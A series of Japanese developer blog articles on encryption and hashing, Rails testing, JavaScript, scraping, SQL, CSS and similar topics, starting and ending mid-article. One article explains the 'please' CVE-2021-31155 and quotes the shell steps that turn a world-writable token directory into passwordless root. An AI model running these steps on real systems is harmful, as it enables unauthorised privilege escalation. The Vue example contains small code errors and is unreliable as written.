・鍵の配送の過程で鍵の内容を第三者に盗み取られることがないか
十分注意する必要があります。
また、共有した鍵はどの鍵を使っているか第三者にバレてはいけません。通信の秘密が守られなくなってしまいます。
そのため、共通鍵暗号方式は「秘密鍵暗号方式」とも呼ばれます。

＊まとめ
共通鍵暗号方式は鍵の管理が面倒（鍵の配送の手間・相手ごとに異なる共通鍵を用意しなければいけない）というデメリットがありますが、
復号（化）の処理が比較的高速に行えるというメリットがあります。

##公開鍵暗号方式
今って南京錠って使うんでしょうか？
南京錠って鍵が開いている状態ではだれでも鍵をかけることができますよね？終わったらこの南京錠かけといてね、というアレです。
その代わり、南京錠を開けることができるのは鍵を持っている人だけ（当たり前ですが）。
この「誰でも鍵をかけられるけど、決まった人にしか鍵を開けられない」というのが公開鍵暗号方式のヒントです。

公開鍵暗号方式は、情報をやり取りするにあたって暗号化と復号化に別々の鍵を使用する暗号化方式のことです。
暗号化と復号化で別の鍵を使用する、というのが共通鍵暗号方式と大きく違う点です。
公開鍵暗号方式を使用する場合、情報を受信する側が「秘密鍵」と「公開鍵」の2つの鍵を作ります。
そして、情報を送信する側に対しては公開鍵のみを配布します。
情報を送信する側は公開鍵を使用して暗号化を実行し、受信側に向けて送付します。
受信側は秘密鍵を使用して復号化を行い、情報の中身を確認します。この際、情報を復号化できるのは受信者の持つ秘密鍵だけです。
受信者が秘密鍵を公開しない限り、第三者が暗号化された情報を復号化することができないため、安全に情報をやり取りすることができます。

＊まとめ
公開鍵暗号方式は鍵の配布・管理が容易なのですが、復号化の処理に時間がかかってしまうデメリットがあります。
また、簡単に鍵が配布できるという特性から、配布されている公開鍵が本当に正しい人が発行したものか検証する必要があります。
この「公開鍵が正しい人が発行したものか」を検証できる仕組みが公開鍵暗号基盤（PKI）です。
公開鍵暗号基盤では、認証局（CA）が公開鍵証明書を発行し、公開鍵が本人のものであることを証明します。

##ハイブリッド暗号
共通鍵暗号方式：復号（化）の処理は早いが、安全に鍵を配送するのが難しい。
公開鍵暗号方式：安全に鍵を配送できるが、復号（化）の処理に時間がかかる。
この2つの暗号化方式のいいとこどりをするのがハイブリッド暗号です。

1.鍵を安全に配送するところまでを公開鍵暗号方式で行う
2.その後のデータのやり取りは共通鍵暗号方式で行う
これにより、安全な鍵の配送と高速なデータのやり取りを両立しています。

#暗号化とは違うけど・ハッシュ化
暗号化と混同されやすいものに「ハッシュ化」というものがあります。
結構似ているのですが、やっていることは全然違います。

ハッシュ化とは、元になるデータをハッシュ値と呼ばれる文字列に変換することをいいます。
（ちなみに、ハッシュ化を行う関数をハッシュ関数と呼びます。）

ハッシュ値には以下の特徴があります。
・少しでもデータが違えば全く違うハッシュ値になる。
・元のデータの大きさに関係なく、ハッシュ値の長さは同じ。
・ハッシュ値とハッシュ関数がわかっても、そこから元のデータを復元できない（一方向性）。
暗号化では暗号化に使用した秘密鍵と暗号化したデータがあれば元のデータを復元できましたが、ハッシュ関数ではそうはいきません。
ここが暗号化とハッシュ化の大きな違いです。

ハッシュ値の一方向性という特性を活かし、パスワードを保存する際は平文で保存するのではなくハッシュ化したパスワードの値を保存することで
パスワードのデータベースから不正に情報が抜き取られてもパスワードそのものを特定できないようにする、ということが行われているようです。
ただし、ただハッシュ化するだけでは「事前によく使われているパスワードをハッシュ化し、抜き取られたデータベースのハッシュ値を比較されてしまう」ことで
パスワードを知られてしまう、ということが起こるリスクがあります。
この対策として「ソルトと呼ばれるランダムな文字列をパスワードに付加し、付加した文字列をハッシュ化することによってハッシュ値の比較を難しくする」、
「パスワード＋ソルトのハッシュ化を複数回繰り返してさらにハッシュ値の比較を難しくする」といったものがあります。
（ここでの「ハッシュ値の比較を難しくする」とは、「攻撃者がパスワードの候補とパスワードファイルのハッシュ値を比較する回数を増やす」という意味です。）

#まとめ
・暗号化は『情報を安全にやり取りするため、当事者以外には内容をわからないようにする』仕組み。
・暗号化には、「鍵の管理が面倒だが、処理が高速な『共通鍵暗号方式』」と「復号化の処理に時間がかかってしまうが、鍵の配布・管理が簡単な『公開鍵暗号方式』」の2つの方式がある。
・2つの暗号化方式をいいとこどりして、「簡単な鍵の配送と高速なデータのやりとり」を可能にしたのが『ハイブリッド暗号』。
・暗号化と似ているが、仕組みは違う『ハッシュ化』。

少しでも理解につながれば幸いです。
ActionMailboxでRSpecのテストを書く

## この記事の内容
メール受信周りの機能を実装中、RSpecで`ActionMailbox`のテストを書くことになりました。

[Railsガイド](https://railsguides.jp/action_mailbox_basics.html#%E3%83%A1%E3%83%BC%E3%83%AB%E3%83%9C%E3%83%83%E3%82%AF%E3%82%B9%E3%82%92%E3%83%86%E3%82%B9%E3%83%88%E3%81%99%E3%82%8B)や[パーフェクトRuby on Rails](https://www.amazon.co.jp/dp/4297114623)には`MiniTest`の事例しか載っておらず、日本語の資料も少なかったので手順をメモしておきます。

ただし、`ActionMailbox`の実像そのものは他に良い記事がたくさんあるので、本記事ではあくまでもRSpecによるテスト記載について取り扱っています。

## 前提
使用したRailsとRSpecのバージョンは下記の通りです。

- `Rails 6.0.0`
- `RSpec 5.0.1`

また、テスト対象の`MailBox`内ではこのように`process`メソッドを使ってメール送信処理を実装しています。

```Ruby:examples_mailbox.rb
class ExamplesMailbox < ApplicationMailbox
  before_processing :set_organization

  def process
   # ...
  end
end
```

## 準備
### rspec-railsのバージョンをRails６系対応にする

`ActionMailbox`がRails6の機能なので、RSpecもRails６に対応したものにする必要があります（←ここに気づかなくて結構ハマった）。

[RSpecのGithubのReadme](https://github.com/rspec/rspec-rails#rspec-rails--)によると**Rails6系にはRSpec5系が必要**なようなので、RSpecをアップデート合わせます。

```
bundle update rspec
```
依存するGemのアップデートが必要だと出たら、それもアップデートしましょう。

### RSpecで`ActionMailbox::TestHelper`を使えるようにする

Rails（Mini Test）の機能である、`ActionMailbox::TestHelper`を`RSpec`でも使いたいので、`spec/rails_helper.rb`に以下のように記載します。

```ruby:spec/rails_helper.rb
require 'action_mailbox/test_helper'

RSpec.configure do |config|
  config.include ActionMailbox::TestHelper, type: :mailbox
end
```
これで、　`type: :mailbox`のテストの際に[ActionMailbox::TestHelper](https://edgeapi.rubyonrails.org/classes/ActionMailbox/TestHelper.html)のメソッドが使えるようになります。

## 実装
実際に書いたコードは概ね下記の通りです。

```Ruby:spec/mailboxes/examples_mailbox_spec.rb
require 'rails_helper'

RSpec.describe ExamplesMailbox, type: :mailbox do

  it "@your-domain-name.jpあてのメールを受信できる" do
    expect(ExamplesMailbox)
      .to receive_inbound_email(to: "sample@your-domain-name.jp")
  end

  context 'メールが送信された時' do
    let!(:mail) {
      Mail.new(
        from: 'replies@example.com',
        to: 'sample@your-domain-name.jp',
        subject: "メールのタイトル"
      )
    }

    it 'logが一件生成される' do
      expect{ process(mail) }.to change(Log, :count).by(1)
    end

    # 以下略 ...
  end
end
```

`process`は[RSpecのActionMailboxのメソッド](https://relishapp.com/rspec/rspec-rails/docs/mailbox-specs/action-mailbox-spec)で、**RSpec４系以上**で利用できます。

その他、色々なMailbox用のRSpecが同じページに載っていて、便利でした。

- [Action mailbox spec](https://relishapp.com/rspec/rspec-rails/docs/mailbox-specs/action-mailbox-spec)

## 感想、参考文献
以上で実装完了です。
実装時にはかなり苦労しましたが、改めて書き直してみるとなんてことなかったですね。。。。
実装にはこちらの記事の記述が丁寧で役立ちました！

- [How to Route Emails with Action Mailbox](https://adamnaamani.com/how-to-route-emails-with-action-mailbox/)
【javascript】シンプルなtableの動的行追加・削除（ボタンクリックで行追加・削除）

#やりたいこと

tableを、ボタンクリックで行追加、削除する

###●次の記事
[【javascript】シンプルな動的tableのinputの値取得](https://qiita.com/forever---beginner/items/06c438e478fa70fa0eb9)


#完成形、動作

<p class="codepen" data-height="265" data-theme-id="light" data-default-tab="js,result" data-user="hfmst" data-slug-hash="mdWKZOv" style="height: 265px; box-sizing: border-box; display: flex; align-items: center; justify-content: center; border: 2px solid; margin: 1em 0; padding: 1em;" data-pen-title="table-clickadd/clickdel">
  <span>See the Pen <a href="https://codepen.io/hfmst/pen/mdWKZOv">
  table-clickadd/clickdel</a> by Hirofumi Sato (<a href="https://codepen.io/hfmst">@hfmst</a>)
  on <a href="https://codepen.io">CodePen</a>.</span>
</p>
<script async src="https://cpwebassets.codepen.io/assets/embed/ei.js"></script>

#ざっくり解説

####行追加
1. tableとthだけ用意
1. createElementで、追加するtr(行要素）を作っておく
1. 繰り返しで「td作る→tdに何か入れる→trにどんどん追加
1. 3で作ったtrをtdに入れる


####削除

1. 最新のtableの最終行取得
1. deleteRowで削除


#コード

```html:index.html

<!--ボタン配置--> 
  <div>
    <button onclick="add()">行追加</button>
    <button onclick="del()">行削除</button>
  </div>

<!--table作成とヘッダーだけ先に-->
<table id="tbl" border="1" style="border-collapse:collapse;">
  <tr>
    <th>名前</th>
    <th>趣味</th>
    <th>好きなもの</th>
  </tr>
</table>


```

```javascript:js.html
//繰り返し使うtableだけ先に定数に格納
const tbl = document.getElementById("tbl");


//行追加
function add(){

  //空の行要素を先に作成tr
  let tr = document.createElement("tr"); 
  
  //以下、繰り返し処理 
  for(let i=0;i<3;i++){
    let td = document.createElement("td");      //新しいtd要素を作って変数tdに格納
  　let inp = document.createElement("input");  //tdに何か追加。ここは例としてinput
  　td.appendChild(inp);        //tdにinpを追加
    tr.appendChild(td);         //trにtdを追加
  }

  //完成したtrをtableに追加
  tbl.appendChild(tr);  
}

//以下、末尾行削除処理
function del(){
   
  let rw = tbl.rows.length;//行数取得
  tbl.deleteRow(rw-1);//最終行を指定して削除
  
}
```
3分で読める脆弱性～Please～

#はじめに
pleaseコマンドの脆弱性について解説する記事です。
詳細は記事内のリンクをご参照ください。

#目次
1．概要
2．原理
3．攻撃例
4．対策

#概要
pleaseの3.0以前のversionにおける脆弱性です。
pleaseコマンドを用いてumaskを実行すると、ローカルの攻撃者がroot権限を取得できます。

<details><summary><font color="red">pleaseとは</font></summary><div>
pleaseはSUDOコマンドの代替として開発されたコマンドです。
SUDOと同様に実行コマンドに特権アクセスを与える一方、不必要な特権アクセスを与えないことでセキュリティの強化を狙っています。

－－－－－－－－－－－－－－－－－－－－－－－－－－－－
</div></details>


公開日：2021/5/28
影響範囲：please 3.0以前
リスク指標([VULDB](https://vuldb.com))(2021/6/3現在) 
　　CVSS：8.4
脆弱性情報
　　CVE：[CVE-2021-31155](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-31155)
　　VULDB：[VDB-176007](https://vuldb.com/?id.176007)
　　アドバイザリ：[openwall.com](https://www.openwall.com/lists/oss-security/2021/05/18/1)

#原理
tokenディレクトリ"/var/run/pleaser/token"が存在しない場合、Rustの"create_dir_all"関数で作成されます。
この時、umaskはサニタイズされず、これによって権限のないユーザーが先ほどのtokenディレクトリに書き込みが可能になっています。

例)openwall.comより


```bash
#ディレクトリがない状態でスタート
　user$ umask 0
#任意のコマンドを実行
#この時パスワードの入力を求められるが無視
　user$ please cat /etc/fstab
　[please] password for user: ^C
#ディレクトリの権限の確認
  user$ ls -lhd /var/run/please /var/run/please/token
  drwxrwxrwx 3 root root 60 31. Mär 13:48 /var/run/please/
  drwxrwxrwx 2 root root 40 31. Mär 13:48 /var/run/please/token
#ユーザーパスワードなしで任意のコマンドへのアクセスを許可する(？)
　user$ touch /var/run/please/token/$USER:`tty | tr '/' '_'`:$$
#パスワードなしで動作することの確認
  user$ please cat /etc/fstab
  [<fstab content>]
```



#攻撃例
不明

#対策
解決策
　　please 4.0へのupgrade



#あとがき


間違い・情報のupdateがあれば、コメントしてくれるとありがたいですm(_ _)m
<br><br>
実行してみないとあんまわからないかも…
openwall.comのリンクの内容やってみてください
yahoo路線乗り換え案内の情報を抽出したい

##電車の乗り換え案内のAPIないかな？
なかなか使い勝手のいいものがない…
これは、過去に書いた記事と同じパターン…
[yahoo路線の運行情報を取得したい](https://qiita.com/hirohiroto522/items/6ff29be1344be805ecb0)
##じゃあ解決策は、同じ！　と思ったが
今回もBeautifulSoupを使ってスクレイピングしていこう！
と思ったが、普通にYahoo路線で経路を検索したときの結果が表示されるHTMlがそこそこ複雑で解析がめんどくさそう
もう少しシンプルなHTMLはないのかいろいろ探していると...

あった!　印刷するボタンから飛べるページがとてもシンプル！
![スクリーンショット 2021-06-08 23.38.49.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/309863/9193b83d-3bac-74b5-4851-b8f1374e00e4.png)
さらに、URLもシンプル！
https://transit.yahoo.co.jp/search/print?from=出発駅&flatlon=&to=到着駅
これはありがたい
シンプルにURLパラメータに出発駅と到着駅を入れれば経路がわかる

#じゃあBeautiful Soupで解析していこう
必要なライブラリ等は、[yahoo路線の運行情報を取得したい](https://qiita.com/hirohiroto522/items/6ff29be1344be805ecb0)をみて

```python
# -*- coding: utf-8 -*-
import requests
from bs4 import BeautifulSoup
import strip

#出発駅の入力
departure_station = input("出発駅を入力してください：")
#到着駅の入力
destination_station = input("到着駅を入力してください：")

#経路の取得先URL
route_url = "https://transit.yahoo.co.jp/search/print?from="+departure_station+"&flatlon=&to="+ destination_station
print(route_url)
#Requestsを利用してWebページを取得する
route_response = requests.get(route_url)

# BeautifulSoupを利用してWebページを解析する
route_soup = BeautifulSoup(route_response.text, 'html.parser')

#経路のサマリーを取得
route_summary = route_soup.find("div",class_ = "routeSummary")
#所要時間を取得
required_time = route_summary.find("li",class_ = "time").get_text()
#乗り換え回数を取得
transfer_count = route_summary.find("li", class_ = "transfer").get_text()
#料金を取得
fare = route_summary.find("li", class_ = "fare").get_text()

print("======"+departure_station+"から"+destination_station+"=======")
print("所要時間："+required_time)
print(transfer_count)
print("料金："+fare)

#乗り換えの詳細情報を取得
route_detail = route_soup.find("div",class_ = "routeDetail")

#乗換駅の取得
stations = []
stations_tmp = route_detail.find_all("div", class_="station")
for station in stations_tmp:
    stations.append(station.get_text().strip())

#乗り換え路線の取得
lines = []
lines_tmp = route_detail.find_all("li", class_="transport")
for line in lines_tmp:
    line = line.find("div").get_text().strip()
    lines.append(line)

#路線ごとの所要時間を取得
estimated_times = []
estimated_times_tmp = route_detail.find_all("li", class_="estimatedTime")
for estimated_time in estimated_times_tmp:
    estimated_times.append(estimated_time.get_text())

print(estimated_times)

#路線ごとの料金を取得
fars = []
fars_tmp = route_detail.find_all("p", class_="fare")
for fare in fars_tmp:
    fars.append(fare.get_text().strip())


#乗り換え詳細情報の出力
print("======乗り換え情報======")
for station,line,estimated_time,fare in zip(stations,lines,estimated_times,fars):
    print(station)
    print( " | " + line + " " + estimated_time + " " + fare)

print(stations[len(stations)-1])
```
上記コードで試しに横浜から豊洲の経路を調べると

```
出発駅を入力してください：横浜
到着駅を入力してください：豊洲
https://transit.yahoo.co.jp/search/print?from=横浜&flatlon=&to=豊洲
======横浜から豊洲=======
所要時間：49分(乗車33分)
乗換：2回
料金：IC優先：628円
['16分', '10分', '7分']
======乗り換え情報======
横浜
 | 京急本線快特 16分 303円
品川
 | ＪＲ山手線内回り 10分 157円
有楽町
 | 東京メトロ有楽町線(和光市−新木場) 7分 168円
豊洲
```
いい感じだね！
## もう少しやってみたいこと
現状、日付や出発時間などの検索オプションをつけることができていない
いずれも、URLパラメータを付与することで実現可能のように見える
どのパラメータに何を入れればいいのか明らかにしたい

##注意事項
スクレイピングはグレーなところもあるので、悪用厳禁！
pgAdminを使い始める

ミックさんの「SQL　ゼロからはじめるデータベース操作」で勉強を始めました。

前回はpsqlを使ってコマンドで操作していましたが、やはりGUIツールを使いたいということで
調べました。

が、なんとPostgreSQLをインストールした時点で「pdAdmin」も一緒に入っているんですね。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1266392/6b3b1873-d898-d9d7-4521-9a95242db4da.png)

面倒な接続設定などもなく、あらかじめ作っておいたDBやテーブルにアクセスできました。

こちらのページを参考にさせていただきました。

【PostgreSQL】pgAdmin4の使い方（見方から操作まで）
https://postgresweb.com/post-6741
いいねボタンの応答速度を速く見せる方法

#初めに
いいねボタンの色変更ってそのままだと結構時間かかりますよね。
今回はjqueryを使いボタンを押した瞬間に色が変わるようにしようと思います。

![like](https://nelog.jp/wp-content/uploads/2016/03/Twitter.gif)

※アニメーションはやりません。

#実装
```slim:_like.html.slim
- if current_user.already_liked?(post)
  = link_to "/posts/#{post.id}/likes/#{post.likes.ids}", remote: true, method: :delete do 
    <i class="fas fa-heart unlike font-13"></i>
- else
  = link_to post_likes_path(post), remote: true, method: :post do 
    <i class="far fa-heart like font-13"></i>

span.ma-right-5
= post.likes.pluck(:id).length
```

普通はこうやってajaxのいいねボタンを実装すると思いますが、これだと
ボタンを押す→Likeデータ作成→create.js.erb→ボタンの色変更
という処理になります。
でもこれだとLikeデータを作成してからajaxなので更新に明らかに間ができます。

なのでボタンを押した瞬間に色を変えて、裏でlikeデータを作成するようにします。

```slim:_like.html.slim
- if current_user.already_liked?(post) 
  = link_to "/posts/#{post.id}/likes/#{post.likes.ids}", remote: true, method: :delete do 
    span.unlike
      <i class="fas fa-heart font-13"></i>
- else
  = link_to post_likes_path(post), remote: true, method: :post do 
    span.like
      <i class="far fa-heart font-13"></i>


span.ma-right-5
= post.likes.pluck(:id).length

javascript:
  $('.like').click(function() {
    $(this).delay(1).queue(function(){
      $(this).html('<i class="fas fa-heart unlike font-13"></i>');
    });
  })
  
  $('.unlike').click(function() {
    $(this).delay(1).queue(function(){
      $(this).html('<i class="far fa-heart like font-13"></i>');
    });
  })
  
  
```

こんな感じです。

#まとめ
現在開発中のSNS、[Ammot](https://ammot.net/)のいいねボタンがかなり遅くて悩んでいたのですが、案外簡単に解決できてよかったです。
よかったらAmmotも見てみてください。

https://qiita.com/UTOG/items/d5e6194aaa31b54e97c9

↓トップページ：

https://ammot.net/

↓僕のアカウント

https://ammot.net/user/yamada(%E9%96%8B%E7%99%BA%E8%80%85)
JavaScriptで物理エンジンを構築１

ソースコードはこちら
https://github.com/horitaku1124/physics_sample/blob/main/sample5/index.html

まずはアニメーションなので、以下の様に `requestAnimationFrame` を使用します。これにより大体の環境で 1/60秒毎に `animationFrame` が呼ばれるようになります。フレームの描画で `Canvas` タグに描画します。

```.js
const animationFrame = () => {
  // 1フレーム毎の物理計算

  ...

  request = requestAnimationFrame(animationFrame)
}


requestAnimationFrame(animationFrame);
```


#重力加速度

gravity が重力加速度です。この世界では距離がピクセルの世界ですので、 0.1$px/s^2$ を重力加速度としています。

```.js
// 重力によって加速する
obj.speedY += gravity;
// 加速された速度によって移動していく
obj.x += obj.speedX;
obj.y += obj.speedY;
```

```.js
// 横の壁に当たったら進行方向を逆に
if (obj.x < radius) {
  obj.x = radius;
  obj.speedX *= -1;
} else if (obj.x > canvasWidth - radius) {
  obj.x = canvasWidth - radius;
  obj.speedX *= -1;
}

// 床に接触するたびに上方向に反発する。
if (obj.y > canvasHeight - radius) {
  obj.y = canvasHeight - radius;
  obj.speedY *= -0.5;
  obj.speedX *= 0.9; // 床に接触した際の摩擦を計算
}
```

また壁にぶつかった場合は進行方向を逆転したり、床に接触した場合は速度を減らして反転したりしています。

これを実装した時のデモが以下になります。

https://youtu.be/vz7XYSbp4Js

#ボール同士の衝突判定

今度はボール同士が衝突した場合を考えます。
衝突した時のエネルギー保存則として、衝突前のエネルギーと衝突後のエネルギーは等しいとして以下の式で表せます。

$ma \times va+mb \times vb = ma' \times va' + mb' \times vb'$

そしてもう一つが反発係数です。

$C = -\frac{va' - vb'}{va - vb}$

この2つの公式を変形して解くと衝突後の速度 _va'_,_vb'_は

$va' = \frac{va + vb - C(va - vb)}{2}$

$vb' = \frac{va + vb - C(vb - va)}{2}$

として計算できます。これをコードにしたのが以下になります。

```.js
// 2つのオブジェクト間の距離が0以下なら衝突判定
let distance = Math.sqrt(Math.pow(obj.x - obj2.x, 2) + Math.pow(obj.y - obj2.y, 2)) - 2 * radius;
if (distance < 0) {
  distance = Math.abs(distance);
  // 2つのオブジェクトの角度
  const theta = Math.atan2(obj2.y - obj.y, obj2.x - obj.x);

  // オブジェクト間の直線速度を計算する
  const va = Math.sqrt(Math.pow(obj.speedX, 2) + Math.pow(obj.speedY, 2));
  const vb = -Math.sqrt(Math.pow(obj2.speedX, 2) + Math.pow(obj2.speedY, 2));
  // 衝突後の速度の計算
  const va2 = (va + vb - Bounce * va + Bounce * vb) / 2;
  const vb2 = (va + vb + Bounce * va - Bounce * vb) / 2;

```
このソースの動作デモは以下になります。

https://youtu.be/A5olNGF83n4

#振り子

振り子の実装に関しては参考にしているものは無く、自己流となりました。
_distance_というのは固定部分までの距離で、先端が重力で下に落ちた時に固定部分までの距離の増分をx成分とy成分に分解してそれぞれ加速度としています。

```.js
let distance = Math.sqrt(
    Math.pow(obj.x - obj.consTo.x, 2)
    + Math.pow(obj.y - obj.consTo.y, 2)
);
// 計算の結果、制約から離れてしまった分を補正する
let ratio = distance / obj.distance;
// その時の差分を移動エネルギーとする
let x2 = (obj.x - obj.consTo.x) / ratio + obj.consTo.x;
let y2 = (obj.y - obj.consTo.y) / ratio + obj.consTo.y;
obj.speedX += x2 - obj.x;
obj.speedY += y2 - obj.y;
obj.x = x2;
obj.y = y2;
```

こちらがその時の動作です。

https://youtu.be/ptIRvyiY58k

次は斜面の転がりや、質量保存の法則などを実装していく予定です。
【初心者でもわかる】iosの端末でフォーム系のタグのCSSをリセットする方法&代替CSS案

#どうも7noteです。iPhoneなどででるデフォルトのフォーム系タグのCSSを無効化してかつ代わりのCSS案を考えます

iOS端末ではフォーム系のタグであるinputやbuttonの表示でデフォルトのCSSが聞いてしまうため、デザインがイマイチになってしまいます。

**・ios端末のデフォルトのセレクトボックスとボタン**
![IMG_1041.PNG](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/661092/e5c49eb4-3c5d-057c-abb6-db9004519838.png)


これのCSSを無効化してさらにオリジナルのCSSをあてていきます。

## ios端末のフォーム系のCSSを無効化する方法

```style.css
/* 何もかも無効にしたい場合 */
input,select{
  -webkit-appearance: none;
  border: none;
}

/* ボタン系だけ無効化したい場合 */
input[type="submit"],
input[type="button"] {
  -webkit-appearance: none;
}

/* ラジオボタンやチェックボックスを無効化（正確には非表示）*/
input[type="radio"],
input[type="checkbox"] {
  display: none;  /* これだけ対策方法がちょっと違います */
}
```

これで無効にすることができました。
次は代わりとなるCSSを入れていきます。
PCのGoogleChromeでみた場合に近いCSSを入れてみましょう。

## 無効化した後に変わりに入れるCSS例

```index.html
<input type="submit">

<div class="selectBox">
  <select name="" id="">
    <option value="">選択してください</option>
  </select>
</div>
```

```style.css
input[type="submit"],
input[type="button"] {
	color: #fff;
	background-color: #2D9D53;
}

.selectBox {
	display: inline-block;
	border: 1px solid #000;
	border-radius: 5px;
	position: relative;
	padding-right: 15px;
}
.selectBox::before {
	content: "";
	width: 5px;
	height: 5px;
	border-right: 1px solid #000;
	border-bottom: 1px solid #000;
	display: inline-block;
	position: absolute;
	top: 0;
	bottom: 0;
	right: 10px;
	margin: auto;
	transform: rotate(45deg);
}
```

![IMG_1043.PNG](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/661092/b8e045c2-a536-7255-bd3a-6c776014386d.png)


## まとめ

iPhoneはめちゃくちゃ普及率が高いのに、こういうかゆいところに手が届かないのが難点。
iPhoneのためだけに余計なCSSが増えるのはソースを管理する側としては大変ですが、iPhoneで見る人が多いので時代の波には逆らえません。

その時代に合わせたコーディング方法を常に実践していくことが重要ですね。本日の学びです。

#### おそまつ！
~ Qiitaで毎日投稿中!! ~
[【初心者向け】WEB制作のちょいテク詰め合わせ](https://qiita.com/7note)
utf8とutf8mb4の違いについて

https://qiita.com/hedgehog-genki/items/fb9ed9e18afadd30bc27

## 背景
上記の記事で、Sequel Proでテーブルにインポートができなかったのですが、原因が文字コードの不一致。
元々utf8にしてたのがダメで、utf8mb4じゃないといけない。

じゃこの違いは何なのか？

## 結論：迷うならutf8mb4

参考文献
https://penpen-dev.com/blog/mysql-utf8-utf8mb4/

簡単に言えば、utf8は１〜３バイトまで対応、utf8mb4は1~4バイトまで対応してます。
つまり4バイトの絵文字はエンコードできず文字化けする、というわけです。

[4バイト文字になる一覧](https://www.softel.co.jp/blogs/tech/archives/596)

ということで、意外とutf8は対応していないことが多く、汎用性を持たせたいのならutf8mb4で作ったほうが良いですね。
Sequel ProでインポートしたらMysql2::Error: Incorrect string value

Sequel Pro便利です。
視覚的にデータベースを確認できるのは大きい。
そしてCSVでもインポート可能で、直感的。
インポート方法はこちらから
[Sequel Proを使ったMySQLのテーブルデータ追加方法](https://qiita.com/unsoluble_sugar/items/a57c1b631abc4a0c49fa)

注意点はidも入力しなきゃいけないというところですかね。
あとは日付の項目の型ですかね。
私の場合
yyyy-mm-dd hh:mm:ss
という形でした。

##　発生したエラーはMysql2::Error: Incorrect string value
今回の場合はarchivesというテーブルでarchivetitleでエラーが発生
確認したところ、文字化けしているようでしたが、原因は絵文字。

```
【Short video】🍑NENE's GREETING🍑【桃鈴ねね/ホロライブ】
```

という具合でガンガン絵文字が入っているのでエラーが発生。

```
rails db:drop
```

で一度データベースを削除
database.ymlを修正

```ruby
default: &default
  adapter: mysql2
  charset: utf8mb4 //ここを追加
  encoding: utf8mb4　//ここがutf8になっていた
  pool: <%= ENV.fetch("RAILS_MAX_THREADS") { 5 } %>
  username: root
  password:
  socket: /tmp/mysql.sock
```

```ruby
rails db:create
```

にて再度、データベース構築。

あとは一番最初の方法でインポート可能。

## 参考文献
https://qiita.com/mmmasuke/items/545afaf5876d3dc52670

https://qiita.com/rainbow___0/items/04a19b24d7fed70fea79
Vueで、データによってcolspan rowspanをbindしたり、不要なら何も挿入させなくする。

まぁv-bindを知っていれば、そんなの当たり前ですよねーって話ではあるんですが、検索してもうまく引っ掛けられなかったので、誰かの助けになれば・・・。

下記のようなデータがあって、urlがあるときは２つのセルを表示させるけれども、urlが空の場合はぶち抜きで表示させたい場合

```json:test.json
[
  { "title": "ページA", "url": "https://example.com/page-a" },
  { "title": "ページB", "url": "" },
  { "title": "ページC", "url": "https://example.com/page-c" }
]
```

はじめはこのように書いていたんですが

```vue:ダメバターン
<table>
  <tr v-for="(row, index) in data" :key="index">
    <td :colspan="row.url ? 1 : 2">{{ row.title }}</td>
    <td v-if="row.url">{{ row.url }}</td>
  </tr>
</table>
```

これだと無駄に `colspan="1"` がtdの中に入ってイヤンな感じでした。

```html:ダメパターンアウトプット
<table>
  <tr>
    <td colspan="1">ページA</td>
    <td>https://example.com/page-a</td>
  </tr>
  <tr>
    <td colspan="2">ページB</td>
  </tr>
  <tr>
    <td colspan="1">ページC</td>
    <td>https://example.com/page-c</td>
  </tr>
</table>
```

なので、v-bindを使ってキーごと渡すようにすればいい感じに、不要なところにはcolspanがないテーブルが書き出せます。

```vue:いい感じバターン
<template>
<table>
  <tr v-for="(row, index) in data" :key="index">
    <td v-bind="colspan(row.url)>{{ row.title }}</td>
    <td v-if="row.url">{{ row.url }}</td>
  </tr>
</table>
</tempate>
....
<script lang="ts">
...
colspan(url: string) {
  return row.url === "" ? { colspan:2 } : {}
}
</script>
```

```html:いい感じパターンアウトプット
<table>
  <tr>
    <td>ページA</td>
    <td>https://example.com/page-a</td>
  </tr>
  <tr>
    <td colspan="2">ページB</td>
  </tr>
  <tr>
    <td>ページC</td>
    <td>https://example.com/page-c</td>
  </tr>
</table>
```

もしtdにcolspanもrowspanもセットする必要がある場合は、同じノリで下記にように返せばOKです。

```vue:colspanもrowspanもセットしたい
colspanRowspan() {
  return { colspan:2, rowspan: 2 }
}
```

まぁただのv-bindの使い方ではあるんですが・・・・。
v-bindなんてアレすぎるんでコレがおすすめです！とかあるとコメントもらえるとうれしいです！
【sql】case式の使い方を実際に動かして理解する

# はじめに
case式を利用するとsql内でカラムの条件分岐を行えるらしい。

今回はsqlのcase式の学習のためにpostgresのコンテナ環境を利用して実際に実行し、理解を深める。

# 前準備
## postgresテスト環境の構築
```bash
# postgresコンテナ環境を起動
$ docker run -i --rm -d\
    --name psql_test \
    -p 15433:5432 \
    -v postgres-tmp:/var/lib/postgresql/data \
    -e POSTGRES_HOST_AUTH_METHOD=trust \
    postgres:13.3-alpine
## postgresコンテナにログイン
$ docker exec -it psql_test sh
```
## テストデータの投入
```sql
CREATE DATABASE test_local;

\c test_local;

CREATE TABLE PERSON(
    name varchar(20),
    age integer
);

INSERT INTO PERSON VALUES ('a', 20);
INSERT INTO PERSON VALUES ('b', 10);
INSERT INTO PERSON VALUES ('c', 15);
INSERT INTO PERSON VALUES ('d', 30);
INSERT INTO PERSON VALUES ('e', 40);
```

```sql
-- データ確認
select * from person;

test_local=# select * from person;
-- 結果
 a    |  20
 b    |  10
 c    |  15
 d    |  30
 e    |  40

```

# 実験
case式はプログラミングで言うif文ようなもの。
書式は以下の通り

```sql
CASE WHEN [条件式1] THEN [条件式1が正のときの処理] ELSE [条件式1が負のときの処理] END
```
## 例
年齢が20以上なら成人、20歳未満なら未成年と表示する

```sql
SELECT *, CASE WHEN age >= 20 THEN '成人' ELSE '未成年' END FROM person;
-- 結果 -- 
 a    |  20 | 成人
 b    |  10 | 未成年
 c    |  15 | 未成年
 d    |  30 | 成人
 e    |  40 | 成人
```
Keil Studio Cloudを使ってみた

この記事では、先日ベータ版がリリースされたKeil Studio Cloudの使用方法を説明します。

https://www.arm.com/company/news/2021/06/arm-empowers-mcu-software-developers-to-capitalize-on-iot-potential

Keil Studio Cloudは、クラウドベースのIoT開発環境になります。現在（2021年6月）ではベータ版になっていて、Webサイトから登録することで試用・評価することができます。

https://www.keil.arm.com/

ベータ版の時点で対応しているターゲットハードウェアは以下です。

* FRDM-K32L3A6
* LPCXpresso55S69
* MIMXRT1064-EVK

それぞれのボード用に5-6個のサンプルプロジェクトが用意されています。

## 使ってみる

#### ハードウェア
LPCXpresso55S69

#### ソフトウェア
